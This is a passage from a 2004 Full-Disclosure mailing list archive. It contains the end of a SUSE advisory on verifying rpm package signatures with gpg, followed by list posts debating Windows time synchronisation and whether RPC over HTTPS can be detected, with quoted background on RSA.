and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and
running the command (do "su -" to be root):
gpg --batch; gpg < announcement.txt | gpg --import
SUSE Linux distributions version 7.1 and thereafter install the
key "build
suse.de" upon installation or upgrade, provided that
the package gpg is installed. The file containing the public key
is placed at the top-level directory of the first CD (pubring.gpg)
and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
- SUSE runs two security mailing lists to which any interested party may
subscribe:
suse-security
suse.com
- general/linux/SUSE security discussion.
All SUSE security announcements are sent to this list.
To subscribe, send an email to
<suse-security-subscribe
suse.com>.
suse-security-announce
suse.com
- SUSE's announce-only mailing list.
Only SUSE's security announcements are sent to this list.
To subscribe, send an email to
<suse-security-announce-subscribe
suse.com>.
For general information or the frequently asked questions (faq)
send mail to:
<suse-security-info
suse.com> or
<suse-security-faq
suse.com> respectively.
=====================================================================
SUSE's security contact is <security
suse.com> or <security
suse.de>.
The <security
suse.de> public key is listed below.
=====================================================================
______________________________________________________________________________
The information in this advisory may be distributed or reproduced,
provided that the advisory is not modified in any way. In particular,
it is desired that the clear-text signature shows proof of the
authenticity of the text.
SUSE Linux AG makes no warranties of any kind whatsoever with respect
to the information contained in this security advisory.
Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security
suse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build
suse.de>
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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RE: [Full-Disclosure] Windows Time Synchronization - Best Practices
From: Airey, John (John.Airey
rnib.org.uk)
Date: Tue Oct 26 2004 - 07:10:21 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
> -----Original Message-----
> From: full-disclosure-admin
lists.netsys.com
> [mailto:full-disclosure-admin
lists.netsys.com]On Behalf Of Andrew
> Farmer
> Sent: 25 October 2004 20:22
> To: Gary E. Miller
> Cc: Micheal Espinola Jr; full-disclosure
lists.netsys.com
> Subject: Re: [Full-Disclosure] Windows Time Synchronization - Best
> Practices
>
>
> On 24 Oct 2004, at 18:48, Gary E. Miller wrote:
> > On Fri, 22 Oct 2004, Micheal Espinola Jr wrote:
> >> You can certainly have multiple time servers specified with Windows
> >> Time Service (SNTP). RTM. It has the ability to failover
> through a
> >> list.
> >
> > Yes you can have multiple time servers, but only one active
> at a time.
> > With NTP your client polls a number of diverse servers. Routes can
> > flap, servers can go wacko, but your time stays solid.
>
> The canonical *NIX ntp client supports multiple active servers, if
> that's what you're talking about.
>
> No idea about Windows, though.
Getting back to the poster's original question, Windows is really bad
for time synchronisation. Whereas you can set an NTP server to
UTC/GMT/ZULU (or whatever other name you are going to call it), Windows
does indeed move the clock forward and backward.
We've experienced this difficulty ourselves where you log in to a server
which then puts the clock an hour forward and then Windows itself puts
the clock an hour forward. The end result is that the clock is wrong.
Local time should simply be calculated as an offset from UTC. So instead
of changing the clock, change the time zone. Then it won't matter if the
time zone is changed to BST (for example) more than once. The clock and
the offset will stay the same.
Note to Microsoft - fix this stupidity in your next version of Windows.
It will annoy your users to begin with, but a number of time synch
issues will be solved in one fell swoop. All the three letter codes are
publicly available and understood by your end users.
--
John Airey, BSc (Jt Hons), CNA, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the
Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848
John.Airey
rnib.org.uk
Even if Embryonic Stem Cell Research yielded medical treatments, how
could enough eggs be obtained to make them viable? We can't even get
enough organs for transplant donation.
--
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Ali Campbell (fdisclosure
alicampbell.org.uk)
Date: Tue Oct 26 2004 - 11:11:31 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Thanks to everyone who replied to this, I appreciate your time.
This issue has now been dealt with.
Ali
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RE: [Full-Disclosure] Possibly a stupid question RPC over HTTP
From: Airey, John (John.Airey
rnib.org.uk)
Date: Tue Oct 26 2004 - 10:47:21 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
> -----Original Message-----
> From: Kyle Maxwell [mailto:krmaxwell
gmail.com]
> Sent: 25 October 2004 04:30
> To: Airey, John
> Cc: full-disclosure
lists.netsys.com
> Subject: Re: [Full-Disclosure] Possibly a stupid question RPC
> over HTTP
>
>[snip]
>
> You're talking about solving a problem that DOESN'T EXIST BY
> DEFINITION. Re-read my response -- this time without being stupid --
> and you'll see that I was trying to explain to you that the problem is
> the general factoring of large numbers (into primes for what should be
> obvious reasons). This is NOT the same as factoring large primes as
> that's a solved problem. If this is still difficult to understand, any
> handy grade-school maths book should provide additional explanation.
> Testing for primality, which is a related but different problem, is
> solved, but proving that a number is composite is unfortunately not
> the same as knowing its factors.
> </flame>
>
> As to the question of whether this is a solved problem: we may have to
> agree to disagree; if it were the NSA, given their past interactions
> with the crypto community, I think it likely that they'd have over
> time moved to another type of cryptography. BTW, brute forcing a key
> does not break the system -- and as others have shown in this thread,
> it's impossible to precompute all the keys unless you've broken every
> single PRNG out there, and that's even less likely.
What is it with this list that people can't reply without being rude? Is it the phase of the moon or something? OK, so we can rule out brute force, as storing every prime that's possible with 512bit keys isn't possible in this universe. Anyway, to quote RSA Laboratories:
"The RSA algorithm works as follows: take two large primes, p and q, and compute their product n = pq; n is called the modulus. Choose a number, e, less than n and relatively prime to (p-1)(q-1), which means e and (p-1)(q-1) have no common factors except 1. Find another number d such that (ed - 1) is divisible by (p-1)(q-1). The values e and d are called the public and private exponents, respectively. The public key is the pair (n, e); the private key is (n, d). The factors p and q may be destroyed or kept with the private key.
It is currently difficult to obtain the private key d from the public key (n, e). However if one could factor n into p and q, then one could obtain the private key d. Thus the security of the RSA system is based on the assumption that factoring is difficult" (http://www.rsasecurity.com/rsalabs/node.asp?id=2214)
Therefore my point still stands that if someone does possess a mathematical solution to the above, then all bets are off.
(Whoever it was who disagreed about my statements on encryption, please remember the context of the thread is about SSL security, not one-time keys).
Getting back to the original question, you can't discover if someone is sending RPC over https unless you have a solution to the RSA hard problem above. Nor is it a major security issue if someone is using RPC over https either, unless there are flaws in the implementation of SSL or RPC that could be exploited by someone else.
This is my last post on the matter which is solely for the purpose of making at least one post in this thread sensible and useful for future readers of the archive. All future abusive emails on my mathematical abilities will be deleted without response.
--
John Airey, BSc (Jt Hons), CNA, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848 John.Airey
rnib.org.uk
Tag line temporarily removed due to several people being unable and/or unwilling to comprehend what I'm talking about.
--
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and any attachments from your system.
RNIB endeavours to ensure that emails and any attachments generated by
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cannot accept any responsibility for any such which are transmitted.
We therefore recommend you scan all attachments.
Please note that the statements and views expressed in this email and
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those of RNIB.
RNIB Registered Charity Number: 226227
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[Full-Disclosure] Presentation / Paper : Demystifying Penetration Testing
From: Debasis Mohanty (mail